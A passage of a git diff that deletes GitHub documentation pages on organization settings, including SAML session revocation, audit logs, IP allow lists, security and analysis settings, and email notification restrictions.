reusables.organizations.people %} -{% data reusables.saml.click-person-revoke-session %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-saml-sessions %} -{% data reusables.saml.revoke-saml-session %} - -## Viewing and revoking authorized credentials - -{% data reusables.saml.about-authorized-credentials %} - -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.saml.click-person-revoke-credentials %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-authorized-credentials %} -{% data reusables.saml.revoke-authorized-credentials %} -{% data reusables.saml.confirm-revoke-credentials %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on) -* [AUTOTITLE](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise) diff --git a/content/organizations/index.md b/content/organizations/index.md deleted file mode 100644 index 52538ebddf88..000000000000 --- a/content/organizations/index.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Organizations and teams documentation -shortTitle: Organizations -intro: 'You can use organizations to collaborate with a large number of people across many projects at once, while managing access to your data and customizing settings.' -redirect_from: - - /articles/about-improved-organization-permissions - - /categories/setting-up-and-managing-organizations-and-teams - - /github/setting-up-and-managing-organizations-and-teams -introLinks: - overview: /organizations/collaborating-with-groups-in-organizations/about-organizations -featuredLinks: - startHere: - - /get-started/learning-about-github/types-of-github-accounts - - /organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization - - /organizations/organizing-members-into-teams/about-teams - popular: - - /organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch - - /organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization - - /organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization - - /organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions - guideCards: - - /organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization - - /organizations/managing-membership-in-your-organization/adding-people-to-your-organization - - /organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository - - /organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization -layout: product-landing -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /collaborating-with-groups-in-organizations - - /managing-membership-in-your-organization - - /managing-peoples-access-to-your-organization-with-roles - - /managing-user-access-to-your-organizations-repositories - - /organizing-members-into-teams - - /collaborating-with-your-team - - /managing-access-to-your-organizations-project-boards - - /managing-programmatic-access-to-your-organization - - /managing-oauth-access-to-your-organizations-data - - /managing-organization-settings - - /keeping-your-organization-secure - - /managing-saml-single-sign-on-for-your-organization - - /granting-access-to-your-organization-with-saml-single-sign-on - - /managing-git-access-to-your-organizations-repositories - - /migrating-to-improved-organization-permissions ---- diff --git a/content/organizations/keeping-your-organization-secure/index.md b/content/organizations/keeping-your-organization-secure/index.md deleted file mode 100644 index 166ae1884d02..000000000000 --- a/content/organizations/keeping-your-organization-secure/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Keeping your organization secure -intro: 'You can harden security for your organization by managing security settings, requiring two-factor authentication (2FA), and reviewing the activity and integrations within your organization.' -redirect_from: - - /articles/preventing-unauthorized-access-to-organization-information - - /articles/keeping-your-organization-secure - - /github/setting-up-and-managing-organizations-and-teams/keeping-your-organization-secure -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /managing-two-factor-authentication-for-your-organization - - /managing-security-settings-for-your-organization -shortTitle: Organization security ---- diff --git a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization.md b/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization.md deleted file mode 100644 index a0b016dcc053..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: Accessing compliance reports for your organization -intro: 'You can access {% data variables.product.company_short %}''s compliance reports, such as our SOC reports and Cloud Security Alliance CAIQ self-assessment (CSA CAIQ), for your organization.' -versions: - fpt: '*' - ghec: '*' -type: how_to -topics: - - Organizations - - Teams -permissions: Organization owners can access compliance reports for the organization. -shortTitle: Access compliance reports ---- - -## About {% data variables.product.company_short %}'s compliance reports - -You can access {% data variables.product.company_short %}'s compliance reports in your organization settings. - -{% data reusables.security.compliance-report-list %} - -## Accessing compliance reports for your organization - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.compliance %} -1. To the right of the report you want to access, click **{% octicon "download" aria-hidden="true" %} Download** or **{% octicon "link-external" aria-hidden="true" %} View**. - - {% data reusables.security.compliance-report-screenshot %} - -{% ifversion ghec %} - -## Further reading - -* [AUTOTITLE](/admin/overview/accessing-compliance-reports-for-your-enterprise) - -{% endif %} diff --git a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization.md b/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization.md deleted file mode 100644 index 30dd6b79bedc..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/audit-log-events-for-your-organization.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Audit log events for your organization -intro: Learn about audit log events recorded for your organization. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Audit log events -autogenerated: audit-logs ---- - -> [!NOTE] -{% ifversion ghes %} -> * This article contains the events available in the latest version of {% data variables.product.prodname_ghe_server %}. Some of the events may not be available in previous versions. -{% endif %} -> * This article contains the events that may appear in your organization's audit log. For the events that can appear in a user account's security log{% ifversion ghec or ghes %} or the audit log for an enterprise{% endif %}, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/security-log-events){% ifversion ghec or ghes %} and [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise).{% else %}.{% endif %} -> * {% data reusables.webhooks.webhooks-as-audit-log-alternative %} - -## About audit log events for your organization - -{% data reusables.audit_log.reference-grouped-by-category %} - - diff --git a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/displaying-ip-addresses-in-the-audit-log-for-your-organization.md b/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/displaying-ip-addresses-in-the-audit-log-for-your-organization.md deleted file mode 100644 index 0e32013c20bf..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/displaying-ip-addresses-in-the-audit-log-for-your-organization.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Displaying IP addresses in the audit log for your organization -intro: You can display the source IP address for events in your organization's audit log. -shortTitle: IP addresses in audit log -permissions: Organization owners can display IP addresses in the audit log for an enterprise. -versions: - feature: display-ip-org-audit-log -type: how_to -topics: - - Auditing - - Organizations - - Networking - - Security ---- - -> [!NOTE] -> Displaying IP addresses in the audit log for an organization is in {% data variables.release-phases.public_preview %} and subject to change. - -## About display of IP addresses in the audit log - -By default, {% data variables.product.github %} does not display the source IP address for events in your organization's audit log. {% data reusables.audit_log.about-ip-display %} If you enable this setting, the IP address will be displayed for **new and existing events** in the audit log. - -You are responsible for meeting any legal obligations that accompany the viewing or storage of IP addresses displayed within your organization's audit log. - -{% ifversion enterprise-audit-log-ip-addresses %} - -Alternatively, you can configure IP addresses at the enterprise level. For more information, see [Displaying IP addresses in the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise). - -{% endif %} - -{% data reusables.audit_log.users-agree-to-ip-collection %} - -After you enable the feature, you can access the audit log to view events that include IP addresses. For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization). - -## Events that display IP addresses in the audit log - -{% data variables.product.github %} displays an IP address for each event in the organization audit log that meets these criteria. - -* The actor is an organization member or owner -* The target is either an organization-owned repository that is private or internal, or an organization resource that is not a repository, such as a project. - -## Enabling display of IP addresses in the audit log - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -1. Click **Source IP disclosure**. - - ![Screenshot of the "Audit log" page for an organization. A tab, labeled "Source IP disclosure," is outlined in dark orange.](/assets/images/help/organizations/audit-log-source-ip-disclosure-tab.png) -{% data reusables.audit_log.enable-ip-disclosure %} -1. Click **Save**. diff --git a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/identifying-audit-log-events-performed-by-an-access-token.md b/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/identifying-audit-log-events-performed-by-an-access-token.md deleted file mode 100644 index b44bb3010ae6..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/identifying-audit-log-events-performed-by-an-access-token.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Identifying audit log events performed by an access token -shortTitle: Identify events by token -intro: 'You can identify the actions performed by a specific token in your organization.' -versions: - ghec: '*' -topics: - - Organizations - - Authentication - - OAuth apps - - GitHub Apps ---- - -## About token data in the audit log for an organization - -Your organization's audit log contains an event for each action that a user or integration performs. If the action occurred outside of {% data variables.product.prodname_dotcom %}'s web UI, the event's data will show details about how the user or integration authenticated. - -{% data reusables.audit_log.understand-actions-taken-with-token %} - -{% data reusables.audit_log.authentication-methods-with-metadata %} - -## Token data in audit log events - -{% data reusables.audit_log.data-describing-token-use %} - -## Identifying events associated with a token - -{% data reusables.audit_log.searching-for-associated-events %} - -### Generating a SHA-256 hash value for a token - -{% data reusables.audit_log.generating-hash-for-a-token %} - -### Searching on {% data variables.product.prodname_dotcom %} - -{% data reusables.audit_log.searching-for-a-token-on-githubcom %} - -### Searching with the REST API - -{% data reusables.audit_log.searching-for-a-token-with-rest-api %} - -For example, if the name of the organization account is `octo-org`, the following curl command would search @octo-org's audit log for all events that are associated with the token whose URI-encoded SHA-256 hash is `EH4L8o6PfCqipALbL%2BQT62lyqUtnI7ql0SPbkaQnjv8`. - -```shell -curl --header "Accept: application/vnd.github+json" --header "Authorization: Bearer YOUR-TOKEN" {% data reusables.rest-api.version-header %} 'https://api.github.com/orgs/octo-org/audit-log?phrase=hashed_token:"EH4L8o6PfCqipALbL%2BQT62lyqUtnI7ql0SPbkaQnjv8"' -``` - -{% ifversion token-audit-log-more-metadata %} - -### Identifying Git events - -{% data reusables.audit_log.you-can-identify-git-events %} For more information, see [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log). - -{% data reusables.audit_log.authentication-metadata-git-events-release-phase %} - -{% endif %} - -## Further reading - -* [AUTOTITLE](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise) -* [AUTOTITLE](/enterprise-cloud@latest/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token) diff --git a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/index.md b/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/index.md deleted file mode 100644 index 0b8f87c08986..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Managing security settings for your organization -shortTitle: Manage security settings -intro: 'You can manage security settings and review the audit log{% ifversion ghec %}, compliance reports,{% endif %} and integrations for your organization.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -children: - - /managing-security-and-analysis-settings-for-your-organization - - /managing-allowed-ip-addresses-for-your-organization - - /restricting-email-notifications-for-your-organization - - /reviewing-the-audit-log-for-your-organization - - /identifying-audit-log-events-performed-by-an-access-token - - /displaying-ip-addresses-in-the-audit-log-for-your-organization - - /audit-log-events-for-your-organization - - /accessing-compliance-reports-for-your-organization ---- diff --git a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization.md b/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization.md deleted file mode 100644 index 139d1589f6a5..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization.md +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Managing allowed IP addresses for your organization -intro: You can restrict access to your organization's private assets by configuring a list of IP addresses that are allowed to connect. -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/managing-allowed-ip-addresses-for-your-organization - - /organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization -versions: - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage allowed IP addresses -permissions: Organization owners can manage allowed IP addresses for an organization. ---- - -## About allowed IP addresses - -By default, authorized users can access your organization's resources from any IP address. You can restrict access to your organization's private resources by configuring a list that allows or denies access from specific IP addresses. {% data reusables.identity-and-permissions.ip-allow-lists-example-and-restrictions %} - -{% data reusables.identity-and-permissions.ip-allow-lists-cidr-notation %} - -> [!NOTE] -> * Only organizations that use {% data variables.product.prodname_ghe_cloud %} can use IP allow lists. {% data reusables.enterprise.link-to-ghec-trial %} -> * If you configure an IP allow list for your organization you won't be able to use {% data variables.product.prodname_github_codespaces %} for repositories owned by the organization. - -{% data reusables.identity-and-permissions.ip-allow-lists-which-resources-are-protected %} - -## About IP allow list management - -{% data reusables.identity-and-permissions.ip-allow-lists-enable %} - -If you set up an allow list you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. The creator of a {% data variables.product.prodname_github_app %} can configure an allow list for their application, specifying the IP addresses at which the application runs. By inheriting their allow list into yours, you avoid connection requests from the application being refused. For more information, see [Allowing access by {% data variables.product.prodname_github_apps %}](#allowing-access-by-github-apps). - -You can also configure allowed IP addresses at the enterprise account level, and the entries in the enterprise account's allow list are inherited by all the organizations owned by the enterprise. {% data reusables.identity-and-permissions.org-enterprise-allow-list-interaction %} For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise). - -> [!WARNING] -> Losing access to the IP addresses in your IP allow list could result in unintended consequences, such as getting locked out of your enterprise or organization. - -As a best practice, to ensure both secure and reliable access to your enterprise and organization resources when creating an IP allow list, consider the following: - -* Maintaining more than one owner of the enterprise account or organization that the IP allow list will be enforced for. -* Using CIDR notation to specify a range of IP addresses that will include dynamically assigned addresses, to minimize the number of allow list entries. -* Including a static network in your allowed IP addresses, for backup access in case of problems. - -## Adding an allowed IP address - -{% data reusables.identity-and-permissions.about-adding-ip-allow-list-entries %} - -{% data reusables.identity-and-permissions.ipv6-allow-lists %} -{% data reusables.identity-and-permissions.ip-address-add-or-remove-caching %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %} -{% data reusables.identity-and-permissions.ip-allow-lists-add-description %} -{% data reusables.identity-and-permissions.ip-allow-lists-add-entry %} -{% data reusables.identity-and-permissions.check-ip-address %} - -## Enabling allowed IP addresses - -{% data reusables.identity-and-permissions.about-enabling-allowed-ip-addresses %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -1. Under "IP allow list", select **Enable IP allow list**. -1. Click **Save**. - -## Allowing access by {% data variables.product.prodname_github_apps %} - -If you're using an allow list, you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that you install in your organization. - -{% data reusables.identity-and-permissions.ip-allow-lists-address-inheritance %} - -{% data reusables.apps.ip-allow-list-only-apps %} - -For more information about how to create an allow list for a {% data variables.product.prodname_github_app %} you have created, see [AUTOTITLE](/apps/maintaining-github-apps/managing-allowed-ip-addresses-for-a-github-app). - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -1. Under "IP allow list", select **Enable IP allow list configuration for installed GitHub Apps**. -1. Click **Save**. - -## Editing an allowed IP address - -{% data reusables.identity-and-permissions.about-editing-ip-allow-list-entries %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -{% data reusables.identity-and-permissions.ip-allow-lists-edit-entry %} -{% data reusables.identity-and-permissions.ip-allow-lists-edit-ip %} -{% data reusables.identity-and-permissions.ip-allow-lists-edit-description %} -1. Click **Update**. -{% data reusables.identity-and-permissions.check-ip-address %} - -## Checking if an IP address is permitted - -{% data reusables.identity-and-permissions.about-checking-ip-address %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -{% data reusables.identity-and-permissions.check-ip-address-step %} - -## Deleting an allowed IP address - -{% data reusables.identity-and-permissions.ip-address-add-or-remove-caching %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security %} -{% data reusables.identity-and-permissions.ip-allow-lists-delete-entry %} -{% data reusables.identity-and-permissions.ip-allow-lists-confirm-deletion %} - -## Using {% data variables.product.prodname_actions %} with an IP allow list - -{% data reusables.actions.ip-allow-list-self-hosted-runners %} - -## Using {% data variables.product.prodname_pages %} with an IP allow list - -{% data reusables.pages.ip-allow-list-pages %} diff --git a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization.md b/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization.md deleted file mode 100644 index 77b652c44b92..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization.md +++ /dev/null @@ -1,148 +0,0 @@ ---- -title: Managing security and analysis settings for your organization -intro: 'You can control features that secure and analyze the code in your organization''s projects on {% data variables.product.prodname_dotcom %}.' -permissions: Organization owners can manage security and analysis settings for repositories in the organization. -redirect_from: - - /github/setting-up-and-managing-organizations-and-teams/managing-secret-scanning-for-your-organization - - /github/setting-up-and-managing-organizations-and-teams/managing-security-and-analysis-settings-for-your-organization - - /organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Organizations - - Teams -shortTitle: Manage security & analysis ---- - -## About management of security and analysis settings - -{% data variables.product.prodname_dotcom %} can help you to secure the repositories in your organization. You can manage the security and analysis features for all existing or new repositories that members create in your organization. If you have a license for {% data variables.product.prodname_GH_cs_or_sp %} then you can also manage access to these features. {% data reusables.advanced-security.more-info-ghas %} - -{% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %} -{% ifversion security-configurations %} -{% data reusables.security-configurations.enable-security-features-with-gh-config %} - -{% endif %} -{% data reusables.security.security-and-analysis-features-enable-read-only %} - -{% ifversion pre-security-configurations %} - -## Displaying the security and analysis settings - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.security-and-analysis %} - -The page that's displayed allows you to enable or disable all security and analysis features for the repositories in your organization. - -If you have a license for {% data variables.product.prodname_GHAS %}, the page will also contain options to enable and disable {% data variables.product.prodname_GHAS %} features. Any repositories that use {% data variables.product.prodname_GHAS %} are listed at the bottom of the page. - -## Enabling or disabling a feature for all existing repositories - -You can enable or disable features for all repositories. - -{% ifversion code-security-multi-repo-enablement %} -You can use security overview to find a set of repositories and enable or disable security features for them all at the same time. For more information, see [AUTOTITLE](/code-security/security-overview/enabling-security-features-for-multiple-repositories). -{% endif %} - -{% data reusables.advanced-security.note-org-enable-uses-seats %} - -> [!NOTE] -> If you encounter an error that reads "{% data variables.product.prodname_GHAS %} cannot be enabled because of a policy setting for the organization," contact your enterprise admin and ask them to change the {% data variables.product.prodname_GHAS %} policy for your enterprise. For more information, see [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise). - -{% ifversion dependabot-alerts-enterprise-enablement %} - -> [!NOTE] -> When {% data variables.product.prodname_dependabot_alerts %} are enabled or disabled at the enterprise level, it overrides the organization level settings for {% data variables.product.prodname_dependabot_alerts %}. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts#managing-dependabot-alerts-for-your-enterprise). - -{% endif %} - -1. Go to the security and analysis settings for your organization. For more information, see [Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings). -1. Under "{% data variables.product.UI_advanced_security %}", to the right of the feature, click **Disable all** or **Enable all** to display a confirmation dialog box. The control for "{% data variables.product.prodname_GHAS %}" is disabled if you have no available licenses for {% data variables.product.prodname_GHAS %}. -1. Review the information in the dialog box. -1. Optionally, if you are enabling private vulnerability reporting, dependency graph, or {% data variables.product.prodname_dependabot %}, select **Enable by default for new repositories**. - - ![Screenshot of the "Enable FEATURE" modal dialog, with the "Enable by default for new private repositories" option outlined in orange.](/assets/images/help/organizations/security-and-analysis-enable-by-default-in-modal.png) - -1. When you are ready to make the changes, click **Disable FEATURE** or **Enable FEATURE** to disable or enable the feature for all the repositories in your organization. -1. Optionally, in your feature's section of the security and analysis settings, select additional enablement settings. Additional enablement settings may include: - * Automatic enablement for a specific type of repository - * Feature-specific settings, such as recommending the extended query suite for {% data variables.product.prodname_code_scanning %} default setup throughout your organization, or automatic secret validation for {% data variables.product.prodname_secret_scanning %} - - > [!NOTE] - > * {% data reusables.code-scanning.limitation-org-enable-all %} - > * Enabling {% data variables.product.prodname_code_scanning %} for all eligible repositories in an organization will not override existing {% data variables.product.prodname_code_scanning %} configurations. For information on configuring default setup with different settings for specific repositories, see [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning){% ifversion code-security-multi-repo-enablement %} and [AUTOTITLE](/code-security/code-scanning/enabling-code-scanning/configuring-default-setup-for-code-scanning-at-scale#configuring-default-setup-for-a-subset-of-repositories-in-an-organization){% endif %}. - -{% data reusables.security.displayed-information %} - -## Enabling or disabling a feature automatically when new repositories are added - -1. Go to the security and analysis settings for your organization. For more information, see [Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings). -1. Under "{% data variables.product.UI_advanced_security %}", locate the feature, enable or disable the feature by default for new repositories in your organization. - -{% endif %} - -## Allowing {% data variables.product.prodname_dependabot %} to access private{% ifversion ghec or ghes %} or internal{% endif %} dependencies - -{% data variables.product.prodname_dependabot %} can check for outdated dependency references in a project and automatically generate a pull request to update them. To do this, {% data variables.product.prodname_dependabot %} must have access to all of the targeted dependency files. Typically, version updates will fail if one or more dependencies are inaccessible. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates). - -By default, {% data variables.product.prodname_dependabot %} can't update dependencies that are located in private{% ifversion ghec or ghes %} or internal{% endif %} repositories, or private{% ifversion ghec or ghes %} or internal{% endif %} package registries. However, if a dependency is in a private{% ifversion ghec or ghes %} or internal{% endif %} {% data variables.product.prodname_dotcom %} repository within the same organization as the project that uses that dependency, you can allow {% data variables.product.prodname_dependabot %} to update the version successfully by giving it access to the host repository. - -If your code depends on packages in a private{% ifversion ghec or ghes %} or internal{% endif %} registry, you can allow {% data variables.product.prodname_dependabot %} to update the versions of these dependencies by configuring this at the repository level. You do this by adding authentication details to the `dependabot.yml` file for the repository. For more information, see [Top-level `registries` key](/code-security/dependabot/working-with-dependabot/dependabot-options-reference#top-level-registries-key). - -{% ifversion ghec %} - -> [!NOTE] -> For the option to grant {% data variables.product.prodname_dependabot %} access to private or internal repositories to be available, you need {% data variables.product.prodname_dependabot_version_updates %} or {% data variables.product.prodname_dependabot_security_updates %} to be enabled on at least one repository within the organization. - -{% endif %} - -{% ifversion security-configurations %} - - For more information on how to grant {% data variables.product.prodname_dependabot %} access to private{% ifversion ghec or ghes %} or internal{% endif %} dependencies, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization#granting-dependabot-access-to-private-and-internal-repositories). - -{% else %} - -To allow {% data variables.product.prodname_dependabot %} to access a private or internal {% data variables.product.prodname_dotcom %} repository: - -1. Go to the security and analysis settings for your organization. For more information, see [Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings). -1. Under "Grant {% data variables.product.prodname_dependabot %} private repository access", click **Add internal and private repositories** to display a repository search field. - - ![Screenshot of the search dropdown. As you type, repository names that match your search are shown. The search text field is outlined in orange.](/assets/images/help/organizations/dependabot-private-repo-choose.png) - -1. Start typing the name of the repository you want to grant {% data variables.product.prodname_dependabot %} access to. -1. A list of matching repositories in the organization is displayed, click the repository you want to allow access to and this adds the repository to the allowed list. -1. Optionally, to remove a repository from the list, to the right of the repository, click {% octicon "x" aria-label="The X icon" %}. - -{% endif %} - -## Removing access to {% data variables.product.prodname_GHAS %} features from individual repositories in an organization - -{% ifversion security-configurations %} - -You can use {% data variables.product.prodname_security_configurations %} to remove access to {% data variables.product.prodname_GHAS %} features from individual repositories in an organization. For more information, see [AUTOTITLE](/code-security/securing-your-organization/managing-the-security-of-your-organization/managing-your-github-advanced-security-license-usage#turning-off-github-advanced-security-features-on-select-repositories-in-your-organization). - -{% else %} - -You can manage access to {% data variables.product.prodname_GHAS %} features for a repository from its "Settings" tab. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository). However, you can also disable {% data variables.product.prodname_GHAS %} features for a repository from the "Settings" tab for the organization. - -1. Go to the security and analysis settings for your organization. For more information, see [Displaying the security and analysis settings](#displaying-the-security-and-analysis-settings). -1. To see a list of all the repositories in your organization with {% data variables.product.prodname_GHAS %} enabled, scroll to the "{% data variables.product.prodname_GHAS %} repositories" section. - - The table lists the number of unique committers for each repository. This is the number of licenses you could free up by removing access to {% data variables.product.prodname_GHAS %}. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security). -1. To remove access to {% data variables.product.prodname_GHAS %} from a repository and free up licenses used by any active committers that are unique to the repository, click the adjacent {% octicon "x" aria-label="X symbol" %}. -1. In the confirmation dialog, click **Remove repository** to remove access to the features of {% data variables.product.prodname_GHAS %}. - -> [!NOTE] -> If you remove access to {% data variables.product.prodname_GHAS %} for a repository, you should communicate with the affected development team so that they know that the change was intended. This ensures that they don't waste time debugging failed runs of code scanning. - -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/getting-started/securing-your-repository) -* [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning) -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph) -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security) diff --git a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization.md b/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization.md deleted file mode 100644 index 4781afa4f91a..000000000000 --- a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/restricting-email-notifications-for-your-organization.md +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Restricting email notifications for your organization -intro: 'To prevent organization information from leaking into personal email accounts, you can restrict the domains where members can receive email notifications about organization activity.' -permissions: Organization owners can restrict email notifications for an organization. -redirect_from: - - /articles/restricting-email-notifications-about-organization-activity-to-an-approved-email-domain - - /articles/restricting-email-notifications-to-an-approved-domain - - /github/setting-up-and-managing-organizations-and-teams/restricting-email-notifications-to-an-approved-domain - - /organizations/keeping-your-organization-secure/restricting-email-notifications-to-an-approved-domain - - /organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization -versions: - ghes: '*' - ghec: '*' -type: how_to -topics: - - Enterprise - - Notifications - - Organizations - - Policy -shortTitle: Restrict email notifications ---- - -## About email restrictions - -When restricted email notifications are enabled in an organization, members can only use an email address associated with a verified or approved domain to receive email notifications about organization activity. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization). - -{% ifversion ghec %} - -> [!NOTE] -> To restrict email notifications, your organization must use {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} - -{% endif %} - -{% data reusables.notifications.email-restrictions-verification %} - -Outside collaborators are not subject to restrictions on email notifications for verified or approved domains. For more information about outside collaborators, see [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators). - -If your organization is owned by an enterprise account, organization members will be able to receive notifications from any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information, see [AUTOTITLE](/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise). - -## Restricting email notifications - -Before you can restrict email notifications for your organization, you must verify or approve at least one domain for the organization, or an enterprise owner must have verified or approved at least one domain for the enterprise account. For more information about verifying and approving domains for an organization, see [AUTOTITLE](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization). - -Users will not be notified when you enable email restrictions. It is your responsibility to inform users that, in the future, they will only receive email notifications related to your organization if they've added an email address belonging to a verified or approved domain to their account settings. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.organizations.verified-domains %} -{% data reusables.organizations.restrict-email-notifications %} -1. Click **Save**. diff --git a/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md 